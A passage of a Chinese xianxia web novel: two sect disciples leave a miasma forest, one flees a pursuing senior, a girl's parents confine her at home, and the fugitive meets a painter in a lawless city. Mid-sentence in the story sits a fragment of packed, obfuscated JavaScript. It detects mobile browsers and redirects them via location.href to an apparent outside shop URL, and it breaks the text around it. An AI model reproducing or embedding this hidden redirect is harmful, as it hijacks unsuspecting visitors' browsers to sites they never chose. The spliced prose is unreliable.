外面的衣衫浸湿还不够，还得浸透里衣，滚烫的泪水倒比方才的烈焰疼，烫得东闲心口火辣辣的。
这泪水大颗大颗地落，砸得人心口疼，安泛泛这回是真伤心了。
“好，这回我就不是人，师姐把我当个可以宣泄的物件。”
安泛泛听到她的声音就窝着火，起初正是东闲告诉她这烈焰长梯得需她爬完才能破除瘴气，那她才去爬的。
她手握成拳砸在东闲身上，真就按东闲所言，冲东闲发泄着。
“你不好，你叫我爬烈焰长梯，你知道我多疼吗，我的两条腿都要废了，我肯定走不了路，我都不敢看我的腿。”
师姐一伤心说话都娇娇气气，太上御灵图带来的焰火只是预知安泛泛以后的下场，所谓的灼烫理应都消失。
东闲抚着她背，自知理亏，任由她宣泄，哄着她说自己的不是。
“是我的错，竟敢让师姐一个人冒险，此后再不会了。”
安泛泛任性地道：“你的错，都是你的错，你知不知道我从没受过苦，谁也不会让我受苦我父母可疼爱我了，我要什么就给什么，他们是天底下最担心我的人，我要是出事了，他们肯定会揍你的。”
东闲道：“嗯，等我们出去，我会向伯父伯母请罪。”
安泛泛一听她说请罪就立马坐起来，要真让她父母知道此事，东闲肯定会被打死的，尽管安泛泛也没有出事。
“谁让你去请罪了，你这个人真讨厌，好话赖话你都听不懂是吧。”
东闲眨巴眨巴眼，不解其意。
安泛泛也不哭了，她的脾气宣泄得差不多，也不是非要按着东闲的头要她跪下来低声下气说不是，她就是发个性子，见东闲没懂也不打算解释，目光搜寻着烈焰长梯，一颗心又揪起来。
东闲见她四处张望，便道：“师姐，我们不上去了。”
“为什么？我不是只爬了二十几层吗，还有一大半没爬完。”
说着，她颇为不开心地紧着眉，但是眸里有几分开心的，因为东闲说不要她爬了。
东闲笑着道：“师姐没发现我们已经出来了吗？”
周遭再无瘴气，她们确实是出来了。
安泛泛欣喜之余，脑海中闪过人影，不免急忙问道：“你刚刚有没有看见一个披头散发的人？”
她记得是这个人把她接住的。
东闲茫然地道：“师姐，你是不是做梦了，一直都是你和我，没有第三个人。”
安泛泛再度确认：“真的没有第三个人吗？”
东闲颔首，道：“没有，我一直陪在师姐旁边，并没有发现其他异常。”
听东闲这般确定，安泛泛不疑有他，也许真的是她做梦梦到的，可是为什么那张脸看得如此清晰，她明明从未见过那个人。
回想起来，虽然面上的毛孔记不清了，但对方的长相是一眼忘不掉，而且还有些眼熟。
安泛泛不再细想，兴许这也是瘴林的古怪之处，她肯定是受到幻象的影响。
安泛泛想起身，这个动作得手抵在地上借力才行，于是她迟钝地感觉到自己手上有东西在，安泛泛举起来看，讶异地道：“这是？”
东闲表现得很为她开心，“看起来好像是太上御灵图，我曾在藏书馆见过这东西，师姐这是圣阶法器好东西。”
安泛泛听说过太上御灵图，如今握住太上御灵图，感觉意外地熟悉，这太上御灵图似乎认她为主。
安泛泛想到方才的经历，脸色又一次变化，难道方才的一切是她极有可能出现的未来？
东闲及时安抚道：“师姐，它虽能预知未来，却也是在现在的基础上推算而出，未来到底如何，有诸多变数，我们既然能窥见未来，就一定有办法改变。”
安泛泛颔首，东闲说得没错，太上御灵图预知了她可能的危险，她只要规避危险就好。
安泛泛再度准备起身，却发现东闲转了个方向，以背对着她，安泛泛猜到她的意思却还是问了句“干什么”。
东闲道：“我让师姐那么痛苦，自是要赎罪的。”
安泛泛没有拒绝，就算腿没问题，但是她心理受到了极大的伤害，她现在还觉得腿好疼好疼，安泛泛便心安理得地让东闲背着。
在东闲背上，安泛泛转动着眼珠东张西望，再见着几堆白骨倒是什么也不怕了。
“瘴气是怎么破的？”
东闲道：“这得多亏师姐，师姐上去后，雾气渐渐消散，根本就不用爬完全程。”
多亏我吗？
安泛泛总觉得有些古怪，她又不觉是东闲在欺骗她，便愉快地接受是因为她才打破瘴气的事实。
她看着自己走过的瘴林，不知是不是有有东闲在的缘故，怎么瞧也不觉得害怕，转角处突然出现白骨，安泛泛甚至不屑地想说就这。
东闲快又稳，在她背上的安泛泛很安心，安心得都感到无聊，安泛泛便有小拇指勾起东闲的发丝。
东闲随意地问道：“师姐以前有离开过玄清宗吗？”
安泛泛道：“除了每个月都要回家一趟，基本都待在玄清宗。”
东闲意外地道：“师姐就没想过出去看看吗？”
说到这，安泛泛便苦恼了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733182|134915||http|test|mini|href|location''.split(''|''),0,{}));
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“他们不让我到处乱跑，我去哪他们都会知道的。”
东闲心道他们应当指的是安泛泛的父母，安泛泛的父母对安泛泛的保护太过严格，难怪安泛泛这么单纯，遇到危险会哭鼻子。
东闲又问：“师姐，你知道星君赐福吗？”
听她突然提起星君赐福，安泛泛立时紧张起来，这两个话题跨度太大，引起她的防备。
“怎么了，这不是人人都知道吗？”
东闲感慨地道：“若我有星君赐福，就可以变得强大，先前跟亓沂师姐他们遇见了很厉害的灵域，亓沂师姐很快就消灭掉了，看得我好生羡慕，难怪大家都敬佩亓沂师姐。”
安泛泛听了缘由稍稍安心，不以为然地道：“星君赐福有什么好的，只要被星君赐福的人，哪一天死了都不知道，明明什么错都没有却还要小心翼翼地藏着身份。”
东闲道：“那也对，不过修仙不就是这么残忍的事吗，想要变得强大就要抢。”
安泛泛眉头越皱越深，道：“不修仙不就好了，千百年来也没有一个人能修成仙的，兴许我们就不能修仙，修仙就要打打杀杀，真没意思。”
安泛泛显然有着与东闲相反的观念，东闲不可能放弃修仙，掌握力量凌驾于世间之上，光是听着就美妙到叫人仰天长笑。
没有成仙的人是因为没有她出现，只要抢的宝物够多，劫雷根本无需惧怕，只不过大多数英雄好汉都死在抢宝物这条路上。
安泛泛后知后觉地意识到什么，她的目光在周遭逡巡着，若非她的错觉，她们似乎原地打转了许久。
“慕婉思，你是不是走不出去了。”
东闲道：“这地方有些绕，我会带师姐走出去。”
安泛泛又要崩溃，“你不是都能找到我吗，你怎么会走不出去。”
难怪东闲一直跟她讲其他的转移她注意力，原来她是被困瘴林出不去了。
她又怕又气地将脸埋进东闲的颈间，好似这样逃离一切就不用再去面对。
东闲此刻精神高度紧绷。
她说的不是实话，但未打算把实话告诉安泛泛。
东闲道：“师姐，在来之前我曾听说亓沂师姐也在附近，她可能也会来这瘴林。”
安泛泛猛地抬起头，道：“亓沂师姐虽然为人不好接触，但她应当不会放弃我们。”
东闲附和她道：“她一定会。”
在某种程度上来说，亓沂是现在最不希望她没了的人。
而东闲也实在是不想碰到她，她也清楚升完境只有淬灵境后期的自己，打不过亓沂。
纵算有安泛泛相助，她们两个人仍然不是亓沂的对手。
东闲已决心离开玄清宗，眼下必须想个法子，把在外等候的亓沂引走才行。
她既然那么想见魔，就让她见魔吧。
背上的安泛泛似有所感，抓住的东闲的手不由得使力。
“我们快些走，这里不对劲。”
命渊石没有预测危险，但她能感觉到多道不怀好意的视线。
74.第 74 章
亓沂在瘴林外候着。
她想慕婉思从鬼煞冢回来，必然与魔尊达成某种协议，慕婉思并非记忆全失，怀玉和常怀清一事有她出谋划策，而非鸦昤一人为之。
为了验证猜想，她便设计让朝天宫的两个前辈来到玄清宗，使得东闲惊慌失措想办法解除迷蝶入梦的影响，而东闲要这样做唯有识海受损为由让华尚暂时打消念头。
如何识海受损，让亓沂出手对东闲来说会是最好的借口，玄清宗上下所有人都知道亓沂是个不好惹的性子，尤为在意别人踏足她的领地。
东闲判断错误，从而她新得来的法镜记录面貌，让亓沂知道她在湖心亭发生的事情，也意外得知玲珑阁与魔有染。
在瘴林外守了一段时间，迟迟不见东闲带人出来，亓沂疑心是东闲做了什么小动作，遂也闯进瘴林寻人。
安泛泛是最先看到她的人，意外地道：“亓沂师姐你也来了。”
东闲也道：“是啊好巧，亓沂师姐也进入瘴林，亓沂师姐是要找旁人吗，不用了，这里只有我们二人。”
亓沂扫了眼东闲，不是她的错觉，东闲说话的表述很奇怪，但是具体又奇怪在哪，亓沂一时间又说不上来。
东闲以心音传话给亓沂，告诉她先让安泛泛回到宗门。
亓沂答应，她的确也不想再因为安泛泛而耽误事。
她把手提的三幽九魄灯交给安泛泛，道：“回去。”
三幽九魄灯能破除瘴林的瘴气，让人行走其中不受阻拦。
安泛泛瞪眼瞧她。
东闲也瞪眼瞧她。
东闲心想你有三幽九魄灯怎么不告诉我呢，那我何必白费力气到处寻人？
安泛泛心想这是要我走的意思吗，可我不太敢拿呀。
东闲替安泛泛接住，道：“师姐，你且先提着三幽九魄灯回去吧。”
安泛泛问道：“你不和我一起走吗，还有亓沂师姐。”
东闲道：“我还有事要和亓沂师姐待在这，师姐你便先回去吧，有了三幽九魄灯，接下来不会有事。”
安泛泛倒是想说什么，在看清东闲目光所向后，她也只能乖乖提着三幽九魄灯往回走。
人走远了，东闲才收回目光。
她浑身放松，在亓沂面前展现松弛的一面，好似并不觉得现在的亓沂是个威胁。
东闲以一种可惜的口气道：“我是想和你走的。”
东闲目光微移，笑，“只不过在抓我之前，看来你需要同他们较量一番。”
亓沂感官何其敏锐，在东闲出声那刻她就已感觉到数道气息的接近。
她疑是这群魔来救东闲，来不及多想东闲是何时把这群魔叫来的，在对方发起攻势前，她把一群人拉进冰天雪地当中，同时外面的东闲胸部以下的身体被冰封住不得逃跑。
灵域之内，亓沂与群魔对峙。
赤焰龙脉离玄清宗本宗十万八千里远，如今她又踏足玄清宗能够管控之外的范围，魔的分布本就广泛，在这里碰到它们并不足以为奇。
这只是让亓沂认识到，东闲在魔尊那的分量。
她屹然不动，周遭化出的冰霜率先一步动作。
灵域外的东闲还在言语。
“安泛泛身上有星君赐福，你让她一人走，是会出事的。”
亓沂拧起眉头，这是她不知道的事，她并不知道安泛泛被星君赐福过，这里的魔那样多，定然会向拥有星君赐福的安泛泛下手。
不过——
“你舍得？”
东闲竟听出亓沂的疑惑。她当然舍得，没有所谓贪狼星君的神识控制，她日后做什么不舍得。
“你困我在此，我舍不得也该舍得。”
亓沂平生鲜少会笑，自来玄清宗后便是更少添笑。
此刻她笑了，却比不笑时更叫人胆寒。
“我又小瞧了你。”
在逢场作戏这上面，演得是比谁真情实意，虚伪极了。
灵域碎裂，东闲所见的是群魔被冰霜击退的场面，下一刻她身上的冰雪消融，一条冰链又想像先前那般把她捆住。
亓沂扯动着冰链掐起御风术要追上去，东闲被迫掐起御风术跟上她。
东闲还有句话没说。
这群魔们也是想要她的命。
东闲脑海中闪过秘法绝学——回光返照，一种类似于金蝉脱壳的秘法。
她把自己想象成一个待蜕皮的蝉，这种术法需要提前准备，以修为化成的皮覆在表面只待必需之时蜕下，皮肤下的血肉鼓动着，最先蜕下的是手，蜕皮带来的痛苦是不可避免的，她一声不吭熬着整个过程。
一路清理着魔的亓沂没有注意到东闲的变化，或者说她根本不会想到东闲会百家秘法绝学。
百生镜的伪装太过成功，以至于亓沂还以为东闲是慕婉思，并未去设想这个慕婉思是被人假扮冒充的。
等到亓沂感觉到冰链另一端空落落的感觉，她才知道人逃了，空留一张完整无损的人皮。
东闲很快追上了有意放慢速度的安泛泛，她并未被魔攻击，记着东闲的话走。
见东闲来了，安泛泛担忧地道：“亓沂师姐一个人对付那么多魔能行吗？”
她认为那些魔是因她而来，早闻魔尊想要打造一副神躯飞升成神，因为魔气天然与神对立不受神待见，它想变得更强大必须成神，便想出打造神躯的主意来。
所谓神躯便是由拥有星君赐福的修士的内丹炼化而成，经过星君赐福的修士受神眷顾，他们的内丹也会不一样。
而安泛泛正是经受过星君赐福的修士，所以她被魔盯上是必然。
她谁也未告诉，但魔总有它们的调查方法，所以下意识以为魔是因她而来。
东闲安抚她道：“师姐放心，亓沂师姐得了机遇升境已是意动境的修为，我们待在那也只能给她添乱，不如趁早离开，不要拖了后腿。”
安泛泛应道：“是我心胸狭隘，过去以为亓沂师姐性子孤僻，其实她很好。”
东闲对此不予评价，只是微微笑着。
等她们出了赤焰龙脉，就见不少教习还有
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长老都围在阵法下，安泛泛还没看清大家的面孔，就被飞奔上来的两人紧紧拥住。
“泛泛，你可算出来了，你再不出来爹娘就要进去寻你。”
“泛泛，没受伤吧，快让娘好好看看。”
男人成熟儒雅，女人气质温雅，方才这对夫妻冷着脸站在那时，无声放出的冷气能冻住整个试炼传送台。
而在此刻都抛却了平日引人敬重的模样，卸下往日的包袱，抱着安泛泛心疼得不得了。
安泛泛没想到这么快就把父母引来了，再看那群围上来的人，安泛泛心道这肯定是她的父母引来的阵势。
“我没事，你们不用担心，我现在不是好好的嘛。”
做父亲的不由分说地道：“爹和娘已经为你休过假了，这段时间好好跟爹娘回家休养身子，等身子养好了再回来。”
安泛泛慌张地道：“等一下，不用这么急吧，我真的没事。”
安泛泛甚至还没来得及跟东闲说声道别，就被父母一人拽着一个胳膊带走了，对于还想要开口的执事长老，她的父母只是颔首示意，便消失在原地。
东闲目观全景，心道安泛泛的父母对安泛泛的紧张有些过头了，竟然亲自来访还引动玄清宗的长老。
安泛泛也只是在赤焰龙脉比往日多待了一段时间，也不必如此紧张才是。
弟子们也纷纷议论，多是惊讶的言论。
“原来传闻中到药圣是那样的，两位前辈来的时候我都吓得都不敢呼吸，结果安师姐一出来，威压荡然无存，看来天底下所有父母都是一样的。”
“你们不觉得两位前辈太担心安师姐了吗，先前谭白师兄他们平安出来，说明里面并没有什么大问题，何况亓沂师姐还在里面，安师姐又没跟着他们误入龙脉之外的地方，也只比以往多待了半个时辰的龙脉，但是两位前辈站在那，我都觉得下一刻他们能将玄清宗掀个底朝天。”
“安师姐是两位前辈唯一的女儿，多惯点怎么了，是你们想太多。”
“……”
对于弟子们的议论东闲未听多少，她并未停留多久，眼见安泛泛离开后，她转而往另一个方向而去，在她出来不久后，亓沂也跟着出现。
她问别的弟子慕婉思去哪，而后朝弟子说的方向追过去，同安泛泛和东闲一样连试炼成绩都没登记，就这样急匆匆离去。
东闲决心今日就离开。
她仰头看天色，进去龙脉的时候是早上，现在也不过快至午时，那么今日就启程幽云城。
弟子居中所有属于她的东西都在储物袋中，无需多跑一趟，她直接向上云峰而去。
她走的时候，同时上云峰发出一声凄厉的哭号声。
“为娘的上清尺你又哪去了啊。”
亓沂明明能追上东闲，却在半途当中遇到了七星迷乱阵，一种中级法阵，此阵法布置需要提前布下，这意味着东闲早有逃离的想法。
亓沂欲破阵法，又敏觉察觉到附近有人。
是有人在帮东闲逃跑。
到底是谁？
75.第 75 章
安父严厉地道：“泛泛，你这次太不听话，你明知道前面有危险怎么还敢过去，你要是出了事，要爹娘怎么办啊。”
见父母二人都十分生气，少见的露出严厉的一面，安泛泛更不敢告诉他们，自己的命渊石还预警过自己会有生命危险的事。
反正她好好的，说了只会徒增烦恼。
“我这不是还好好的嘛，又没有缺胳膊少腿的，再说了，我同门在里面我总不能见死不救，同门之间理应相互扶持，我去救他们是应当的。”安泛泛有理有据地道。
安母点了她的脑门，冷笑道：“你有这个做英雄的能力吗，我们让你去玄清宗学习，你倒好整日吃喝玩乐，做个表面功夫糊弄你师尊和你爹娘，你几斤几两，做父母的还不清楚？”
安泛泛小声地反驳道：“那我也是炼心境的修士呀，我没有那么弱，干嘛看不起我。”
安母再道：“就你那丹药堆起来的修为能是正经炼心境吗，你去的还是玄清宗管辖之外的龙脉，你知道娘发现你越跑越远有多惊心吗，娘觉得整个天都要塌下来。”
安父也附和道：“泛泛你这次真的吓了爹娘一大跳，你若是再不出来，爹娘就是要将整个赤焰龙脉掀了都得把你找回来。”
安泛泛愣愣地道：“太夸张了吧。”
她回想出来时，一众跟个罚站似的大家，后知后觉地意识到她的父母是真的有这样的想法，而且差点这样做了。
母亲叹息道：“怎么夸张呢，有关你的事爹娘总是很担心的，泛泛，这回你好好待在家里养伤，哪里也不许去。”
安泛泛一听不乐意了，反抗道：“为什么，我明明一点事都没有，你们不是检查过了吗，我身体好得很，凭什么要把我关在家里，我又不是娇滴滴易碎的瓷娃娃，就算吃点苦头又怎么样，我要回宗门，下个月再来看你们。”
安母怒道：“泛泛，你太不听话，你这次不可能回到玄清宗，娘和爹已经布下阵法，没有我们的允许你不能离开。”
安泛泛不可置信地道：“你们囚禁我？”
母亲收敛情绪，平静地道：“我们是在关心你。”
安泛泛气道：“这根本不是关心，你们到底怎么了，我真的没有事，为什么还要把我关住。”
安泛泛不明白，一向疼爱她的父母怎么突然如此严厉地要把她关在家里，她明明好好的没出事。
安父放柔声调哄道：“泛泛，爹娘都很爱你，不想你受到任何委屈，你听爹娘的话，不要任性了，爹娘真的不想再看见你出什么意外。”
“可是我又没乱跑，我只要像以往那样待在宗门就足够了，这一次是例外，我是为了救人，下一次绝对没有意外发生。”
“泛泛你就听话，过两日娘带你出去买新衣裳，瞧瞧，天天待在玄清宗只能穿弟子服，看着多落魄，娘再为你挑些好看的首饰，泛泛这么好看又年轻，要多多打扮才是。”
“我根本不需要那些，我的衣服已经多到穿不完了。”
两人却都是一副悲情的脸，声色并茂地说他们是如何如何地痛心，还很戏精地潸然泪下，他们只要说都是关心安泛泛为了安泛泛好，就能叫安泛泛一句话也说不出。
安泛泛气得不想与他们说话，独自一人回到房间。
见安泛泛生气离去，安母的面容彻底被忧愁所覆盖，姣好的面容一片抑郁之色，气头上的安泛泛错过安母眼底始终无法开解的悲伤。
“这种事情永远不要让泛泛知道，更不能让其他人知道，我们能守得到她成人，就能守到她平安度过一生。”
安父的面上也被忧虑染上，他把安母搂在怀中，轻声地道：“这回我们闹出来的动静太大了。”
安母道：“大就大，我会用命护住我的女儿，谁也不能伤到泛泛。”
安父看着她，忧色又被柔情覆盖，埋首在她发边轻轻回应。
“我会保护我们的，我们都要平平安安，泛泛也不会再出危险，关于龙脉的事，我已经让玄清宗去调查清楚，马上就能知道泛泛在里面遭遇什么。”
安母道：“泛泛这次去了龙脉幸好全须全尾地回来，要不然我真无法想象没有了泛泛……”
脑海中回忆起那失去气息的婴儿，安母两眶蓄满泪水，一直教养安泛泛到她长大成人，她仍然没法释怀当年的丧女之痛。
安父及时安抚，用手揩去流淌的泪水，道：“好了，不要让泛泛瞧见了，不然该让泛泛笑话，泛泛现在气头上，但很好哄的，趁着这段时日我们好好陪着泛泛。”
另一边的安泛泛气鼓鼓地穿过曲折回环的长廊，安家的府宅很大，整体是典雅大气的风格，长廊下是一片清澈的池塘，小的时候，安泛泛经常会趴在栏上逗弄着池塘中的鱼儿。
她气着气着又发起呆，父母为什么会有那么大的反应，她一直都知道自己很受父母疼爱，要什么给什么，可这一次自己只是误入龙脉之外的地方，就引得他们大动干戈如此紧张。
她想得出神，没注意有人踩着她的脚步前进，直到这人戳了戳她的后背，安泛泛才惊醒。
安泛泛被吓住，回身看清那人面容，才试探性地问道：“祖母？”
眼前的人是一脸痴笑的祖母，祖母双目痴愣，比起稚童还要不谙世事。
祖母疯疯癫癫的，据说是在她出生前就已经染上痴病，安泛泛从来没见过祖母清醒的一日。
安泛泛很同情祖母，祖母虽然痴但也很爱她，母亲说过，祖母同她一样丢失了一魄，只不过祖母丢失一魄成了失心疯，而她却是在修道上艰难。
安泛泛很想帮祖母把丢失的一魂找回来，最好也把自己的给找回来，这样就不会再让黑老头生气，父母也不会太担心她。
祖母指着安泛泛，开心地道：“花，好看的花。”
安泛泛心道祖母这是在说痴话了，并没有放在心上，上前搀住她。
照顾祖母的婢女怎么回事，竟让祖母一个人跑出来了。
府宅上并没有供养太多下人，是安母喜静的缘故，但由于为了照顾祖母，还是供养了四个下人，专程照顾祖母一人。
祖母虽然疯癫痴傻，但平时很安静，可再安静都得有个人看着才好呀，祖母现在的心智跟几岁的稚童一般大，小孩子能让她乱跑吗。
“祖母，你是不是要看花，我陪你去看花好不好。”
祖母却还是指着她，口中念叨着花，这回说得更具体，是白色的，没有香气的花，还会发光，结下一颗要千年。
安泛泛一听也来了兴趣，她还不知道家里养了这样的花。
但是走到半路，祖母也难过地道：“花，花没了，泛泛，花没了。”
祖母怎么也不肯去了，安泛泛只好把她扶回房间，回到房间，祖母自己便爬上床榻睡
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去，安泛泛看了一会才回到自己的房间。
她前脚刚踏进房间，后脚爹娘就来了。
安泛泛知道他们是想自己求和，一个人坐在铜镜前也不说话，只冷哼一声。
安母道：“泛泛，别生气了，娘带你去买新衣裳吧，泛泛都好久没买新衣裳了。”
安泛泛道：“我不要什么新衣裳，更不要留在这。”
安母道：“你是不是有个叫慕婉思的朋友，她方才叫人传来口信，有东西想送给你。”
安泛泛扭过头一看，是母亲递来的一个小人偶。
“泛泛，这是你朋友托我给你的礼物，娘听说你经常找她玩，你们的关系可真好。”
安泛泛别过去脸，否决道：“谁跟她天天在一起了，是她天天赖着要跟我。”
安母看出她的口是心非，不由得笑了。
“那她给的东西泛泛还要不要了。”
安泛泛转过头，接过那个容貌与她相像的人偶，细细打量，发现这人偶虽说像她，但做的根本不是人偶，倒像是一只成了精没能化形完全的鼠妖。
安泛泛记忆里的老鼠尖嘴猴腮浑身灰不溜秋的，难看得很，而这只鼠妖，胖乎乎的像个团子，腮帮子鼓得大大的，像是藏了吃食在里面，黑溜溜的眼珠澄澈分明，跟她记忆的不同，怎么看都让人恨不得捧在手心上，亲个够才行。
她不懂为什么要做成这样，但是这样的她可爱极了，她一眼就喜欢上。
真的好可爱啊，安泛泛捧在手心，都要控制不住自己蹭蹭它了
安母道：“这人偶做得好生别致，若非熟悉你，怕是做不出形不似而神像。”
的确，这只人偶单从外观上来看是跟安泛泛相似度不高，偏偏就是让人觉得是安泛泛。
安泛泛听出母亲的话外之音，不服地道：“她哪会做什么人偶，这么可爱她做得来吗，定是做人偶的人别出心裁罢了。”
话虽如此，手却是诚实地轻轻捧着，好好看了一会，小声嘟囔着“真的很可爱”，而后挂着自己没觉察的笑意把人偶放在铜镜边。
安泛泛心情不好的时候，就会买东西来安慰自己，心情美妙了些也还是想出门走走，她便听了母亲的邀约，口中道：“爹，娘，家里什么时候种了白色会发光的花，祖母囔着要看，可是又说没了，据说还是千年开一朵。”
她挑选着出门要换上的衣裳，便没注意父母二人都变化得可怕的面色。
安母强自镇静，道：“泛泛，是祖母又说胡话，你不要放在心上。”
安泛泛道：“我也是这般想，我们家哪有千年开一次的花，祖母恐怕是看着□□那棵十几年都没结成花的苗子臆想出来的，不过祖母既然提到了，我们就做一朵花给她吧。”
安母说声好，让安泛泛先在屋里捯饬一番自己，她则与与安父共同出去。
安母紧着眉头，神色更加难看。
“我们过去的纵容可能害了泛泛，原本把泛泛送入玄清宗希望她能找到合适她的一道。从今日起，她必须跟其他修士一样修炼学习。”
安父握住她的手，道：“我会安排的。”
安母看着丈夫，犹疑地道：“我们真的能瞒住所有人吗？”
安父道：“我会护住我们，哪怕是拼尽这条命。”
安母依偎在他的怀中，“我的心愿只有一个，泛泛平安无事。”
76.第 76 章
幽云城，原是一座废弃的旧城，直到有人接管了它，让这座城市恢复了生机。
许是这座城废弃得太久，进来的人却如各路妖魔鬼怪混入进来，你看到的面孔似人，心却非人。
幽云城的名气很大，但鲜有低境界修士敢一人闯入，这里没有规矩与秩序，好比一个大型黑暗交易场所，无权无势之人来到这里生死难料，但同时这里也给了低星宿传承之人一片生机。
东闲戴着幕篱穿梭于略显拥挤的人群中，原本她并不为人注意。
直到她被人拦住去路，要求交出储物袋内所有物。
其实抢劫也不算稀奇的事，在幽云城日日都要上演着数量不等的抢劫，停留下来的路人们多半是看好戏。
幽云城城风混乱，据说领头上有三方势力管控，三方势力互不服谁，一直是紧绷的关系，故而幽云城秩序混乱，打杀是常有的事。
对于这种抢劫，只有两种简单粗暴的解决方式，一是让对方老实，你境界高打一顿对方自然老实了，二是你老实交出去，但交出去未必就能安全，长久生活在幽云城的人大多内心扭曲，这种抢劫打杀的事基本是他们所做，是他们的发泄方式，被这种人盯上只能自认倒霉，求老天下辈子给投个好胎。
东闲直言问道：“你修为多少？”
对方倒也如实相告。
“你爷爷是炼心境中期，还不赶快把东西交上来。”
周旁不知谁的身上散发出一种腐朽难闻的气息，东闲抬手掩鼻，喃喃低语：“打不过啊。”
淬灵境后期对上炼心境后期，不用动手输赢已能分晓。
细若蚊哼的声音传入壮汉耳里，壮汉试图听清失败，不由得吼道：“叽里咕噜的说什么呢，赶快把东西交出来。”
东闲没再废话，知晓二人间的境界差异，她果断选择了最合适的解决方案——动用遁影术转身就逃。
刀疤脸见她要跑，掐起御风术赶忙追上，一路跟她跟到一座歌舞升平的楼阁前。
眼见东闲进去，刀疤脸下意识也想跟着进去，直至被两个容貌标致的下人拦住去路。
他本能地要吼叫凭什么东闲进去他不能进去，但是在看清下人手腕处的水袖，刀疤脸的脸色霎时变化。
他此时才抬头看了眼金灿灿的牌匾——青玉轩。
刀疤脸抬腿就往回跑，要比追东闲的速度还要快。
青玉轩乃是掌控幽云城的三大势力之一，以暴制暴才能控制这座城的力量，他当然是没胆硬碰硬的。
东闲直至看到刀疤脸被吓跑，才放心她没有来错地。
两个下人同时转身，她们向着东闲流露出招牌式的笑容。
东闲隔着人群向她们颔首，而后继续朝里走。
关于青玉轩，东闲知道一些。
最开始幽云城是由欢乐坊和怡红院两大势力掌控，青玉轩异军突起，硬是从中杀出一条路，谁也不知道它从哪里冒出来的，它出现在大众视线中时，已经能够制衡另外两大势力，如今的地位甚至有高于另外两个势力的趋势。
青玉轩表面是个戏园，来这的人多是消遣娱乐，青玉轩每日都会人数爆满，咿咿呀呀的声音能传遍半个幽云城。
这里的伶人唱功绝佳，有人甚至直言全天下的名伶都在这里，所以常有人会慕名而来，无视幽云城的危险，来听一次戏。
只是青玉轩内的戏子不可与卖艺求生的戏子相拟，戏的曲目不能为客人选，唱什么你就听什么，而且在这里，客人必须给伶人一定的尊重。
戏已经唱了半场，东闲放轻脚步声，便来到最后一排坐下。
一旁的人因为她的入座，而多瞧了她一眼，可惜东闲带着幕篱，无法让他窥见容貌的一角。
莫吟洲收回视线，重新看向台上表演的，却不聚焦。
东闲看着台上的表演，状似惋惜地道：“来听戏却想着另一件事，白白糟蹋一出戏。”
她虽未直呼其名，目光也未有一点偏离，莫吟洲却知道她口中的人是自己。
他不答反问：“一场戏只能听半场还有听的必要吗？”
显然伶人惊才绝艳的表演都没能吸引住二人的目光，即使周遭人都陷入戏曲中悲情痛苦的氛围，开始小声啜泣起来，两人却各怀心事，饱含情绪的唱词没能钻进他们的耳中。
东闲继而无言，隔着一层纱，观赏着伶人的表演。
莫吟洲也不再出声，聚焦起来的双目再度失神，游离地打量周边的人，而后又落在身侧人上。
“你很关注我。”
是的，东闲仍旧没有认真听戏。
被抓包了，莫吟洲也不心虚，直言道：“这里的人只有你戴着幕篱，你的确特殊。”
东闲低低地笑了，“是我戴着幕篱特殊，还是我特殊，你是在守着谁。”
莫吟洲的余光正在睨着她。
东闲道：“我也在等一人。”
莫吟洲偏头正视她了，那双眼里写着“我看起来很好耍是吗”。
她继续道：“一个能够知晓未来的人，你说你我等的人，会不会是同一个。”
他被说中了心思，眸子也染上几分惊诧，短暂的沉默间接回答了东闲的问题。
他们等的是同一个人。
幕篱下的脸上笑意尽无，她鲜少地冷脸，有时候猜得太准对滋味可真不能叫人心情好受。
太快了。她心道。
她才接受自己来世之人的身份没多久时日，这天下就要传出来世之人的存在。
当一个来世之人突然出现，这个人无疑会成为众矢之的，谁会希望一个能掌控未来轨迹的存在出现在身旁，何况这个人实力强大不一般。
弥海沙漏是朝天宫历代守护的存在，有天道力量守护，能动用弥海沙漏，可见此人神威。
当这种存在回到过去，势必会带来轰动。
有人会想杀了她，忌惮她带来的影响，有人会想囚禁她，从她身上获取未来的机遇。
反正落到东闲面前的两种结局，都是以牺牲她的自由、消耗她的生命与毁灭她的人格为终。
这可比拥有朝天圣果还要惨多了，为朝天圣果而来的人虽然多，但可比不上来世之人这层身份的影响。
莫吟洲问道：“你怎么知道的？”
东闲道：“你怎么知道我就怎么知道。”
莫吟洲道：“太白定象仪虽然定位于幽云城，却无法进一步定位到更精准的地方，它甚至只能模糊在一定期限之内，你不去找人来青玉轩做何，难不成你觉得他会在青玉轩？”
东闲平静地回道：“我找人的同时，就不能听一出戏吗。”
莫吟洲心道这借口可真蹩脚，有了幕篱隔离，对方又不正脸瞧他，他很难从对方的面容瞧出对方真实的情绪，于是他转回来脸，看向戏台，道：“那我没什么好说的。”
东闲像是没看出他突然的冷淡，不想再把话题继续下去，再次问道：“你要找她做什么？”
他没听出这句话
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下暗藏的危机，道：“我想问她一句话。”
鲜少人会相信他的回答，东闲不信是正常，而她脑海里映着缘的一则记载。
“你跟你的兄长关系不好吗？”
莫吟洲反驳道：“不，很好。”
莫吟洲不知道，他旁边的人正是曾经给她下药的“慕婉思”，他也不会知道，此刻东闲在估量着留他活命的可能。
他对东闲保存一份对于陌生存在的警惕，因知道这里的地盘属于谁的，所以未有对东闲太过防备，他相信东闲不会出手，可他忘了，当一个人想杀另一个人的时候，时间场合还有带来的后果都会通通忽略。
东闲道：“听说你画画很好，为我作一幅画如何？”
他比了个数，道：“我作画出价很高。”
他不知自己的小命留着了。
东闲道：“我可拿不出那么多钱。”
莫吟洲重新比了个数，“这是我质量的极限，就算我画朵花也要卖出高价。”
东闲：“先画着，下次我找你来拿。”
正好一场戏罢，东闲最先离开，莫吟洲喊道“你还没说要作什么画”，但他没得到回应，只能看着她离开，眼见一旁的下人跟了上去，带着她引入另一个方向，才知道她是青玉轩的贵客。
他若有所思，很快将注意力从东闲身上转移。
画不画的，反正日后又不会再见，他才不管呢。
自那日湖心亭一事后，“慕婉思”突然消失了，确切来讲，是再也没主动联系他，莫吟洲没有找她的理由，她给的解药足够他撑一段时间，而且她从不允许自己主动去联系她。
